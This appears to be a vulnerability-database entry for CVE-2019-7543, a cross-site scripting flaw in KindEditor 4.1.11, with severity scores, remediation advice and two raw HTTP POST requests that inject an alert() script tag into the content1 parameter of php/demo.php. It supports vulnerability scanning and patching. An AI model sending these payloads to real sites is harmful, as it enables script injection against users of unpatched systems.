| Title | KindEditor 4.1.11 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02849 |
| CVE ID | CVE-2019-7543 |
| CWE ID | CWE-79 |
| Tags | cve cve2019 kindeditor xss kindsoft vuln |
KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.
POST /kindeditor/php/demo.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Content-Length: 101
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9
POST /php/demo.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 101
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7543.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-7543.pcap
N/AN/A